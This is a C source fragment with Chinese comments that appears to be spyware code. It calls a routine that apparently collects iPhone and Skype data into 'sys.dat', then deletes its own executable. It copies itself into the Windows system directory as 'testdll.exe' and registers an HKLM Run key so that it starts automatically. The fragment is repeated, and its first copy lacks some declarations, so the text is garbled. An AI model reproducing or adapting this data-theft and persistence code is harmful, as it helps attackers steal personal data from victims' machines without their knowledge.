char* pCh_FileName = "sys.dat";
//输出的文件名
voidFunc_FetchIphone_And_Skype(pCh_FileName);
selfdelete(argv[0],1);
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\testdll.exe");
CopyFile(pathtofile,system,false);// 复制文件
//HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "autorun1",
0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
return 0;
voidFunc_FetchIphone_And_Skype(pCh_FileName);
selfdelete(argv[0],1);
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
//获取当前程序debug/release中exe的路径
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));GetSystemDirectory(system,sizeof(system));
strcat(system,"\\testdll.exe");
CopyFile(pathtofile,system,false);// 复制文件
//注册表注册自启动项
HKEY hKey;//HEKY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "autorun1",
0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
return 0;